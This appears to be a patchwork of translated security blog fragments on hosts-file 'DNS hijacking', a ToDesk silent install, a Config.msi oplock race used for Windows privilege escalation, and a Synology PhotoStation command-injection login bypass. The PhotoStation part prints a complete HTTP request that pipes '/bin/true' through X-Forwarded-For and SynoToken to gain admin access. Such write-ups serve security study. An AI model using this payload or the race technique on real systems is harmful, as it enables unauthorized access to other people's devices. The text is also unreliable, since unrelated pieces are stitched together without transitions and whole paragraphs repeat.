It is necessary to have Apache or Nginx services on the hijacked computer, or the hijacker to have a server.
Find the hosts file in C:\Windows\System32\drivers\etc, drag it to the desktop for operation.
Note that the 127.0.0.1 entries are ones I used previously for using PS and other Adobe software.
Next, perform the DNS hijacking operation, then put it back in its original place. Since I have Apache installed on my computer, I can directly see the effect.
Use 360极速 browser to see the effect.
Here's another picture to show the situation.
Find the hosts file in C:\Windows\System32\drivers\etc, drag it to the desktop for operation.
Note that the 127.0.0.1 entries are ones I used previously for using PS and other Adobe software.
Next, perform the DNS hijacking operation, then put it back in its original place. Since I have Apache installed on my computer, I can directly see the effect.
Use 360极速 browser to see the effect.
Here's another picture to show the situation.
A UAC popup and installation interface appear when executing from the command line. I saw in the ToDesk documentation that the /S parameter of the ToDesk_Setup.exe installer can achieve a silent installation, but it will still show a UAC popup. The default installation directory is as follows, and the program runs automatically after installation.
Attempted to increase the number of CPUs for the virtual machine, optimized the code created by Config.msi for monitoring, but none were successful. At the same time, I used procmon to monitor the execution process of the msi file and confirmed that the Config.msi directory was indeed created twice.
Therefore, the conclusion is only one: the secondary creation of the Config.msi directory occurs too quickly. However, since the secondary creation of the Config.MSI directory is indeed happening, and the code has already detected the behavior of the first deletion, what would happen if the opportunity lock 2 is released at this point?
If we do not monitor the secondary creation of the Config.msi directory and directly release opportunity lock 2, because the time interval for the secondary creation of the Config.msi directory is very short, the sdrsvc that has been waiting for a long time will have the opportunity to successfully delete Config.msi. At this point, the vulnerability exploitation process can continue and successfully achieve the vulnerability exploitation!
Therefore, the conclusion is only one: the secondary creation of the Config.msi directory occurs too quickly. However, since the secondary creation of the Config.MSI directory is indeed happening, and the code has already detected the behavior of the first deletion, what would happen if the opportunity lock 2 is released at this point?
If we do not monitor the secondary creation of the Config.msi directory and directly release opportunity lock 2, because the time interval for the secondary creation of the Config.msi directory is very short, the sdrsvc that has been waiting for a long time will have the opportunity to successfully delete Config.msi. At this point, the vulnerability exploitation process can continue and successfully achieve the vulnerability exploitation!
PhotoStation No Password Login
We mainly focus on PhotoStation, which is the image management system enabled in most Synology DSM (DiskStation Manager).
The first vulnerability allows us to log in as an administrator without entering a password.
Viewpoint 1:
GET //photo/login.php?usr=admin&sid=xxx&SynoToken=/bin/true HTTP/1.1
Host: bamboofox.hopto.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
X-Forwarded-For: |
Cookie: stay_login=0; language=en; PHPSESSID=ime6mqrg0pghbjo4p9aomqcbv0; left-panel-visibility=show
Connection: close
The focus is on the | field in X-Forwarded-For and the characters in the SynoToken get parameter. The server CGI will concatenate the strings usr, X-Forwarded-For, and SynoToken into a command execution. However, the special characters | in and are not properly filtered, leading to a command injection vulnerability.
Therefore, in our PoC1, the command will become:
/usr/syno/bin/synophoto_dsm_user username | /bin/true
This command will return 0 (True) to bypass authentication.
We mainly focus on PhotoStation, which is the image management system enabled in most Synology DSM (DiskStation Manager).
The first vulnerability allows us to log in as an administrator without entering a password.
Viewpoint 1:
GET //photo/login.php?usr=admin&sid=xxx&SynoToken=/bin/true HTTP/1.1
Host: bamboofox.hopto.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
X-Forwarded-For: |
Cookie: stay_login=0; language=en; PHPSESSID=ime6mqrg0pghbjo4p9aomqcbv0; left-panel-visibility=show
Connection: close
The focus is on the | field in X-Forwarded-For and the characters in the SynoToken get parameter. The server CGI will concatenate the strings usr, X-Forwarded-For, and SynoToken into a command execution. However, the special characters | in and are not properly filtered, leading to a command injection vulnerability.
Therefore, in our PoC1, the command will become:
/usr/syno/bin/synophoto_dsm_user username | /bin/true
This command will return 0 (True) to bypass authentication.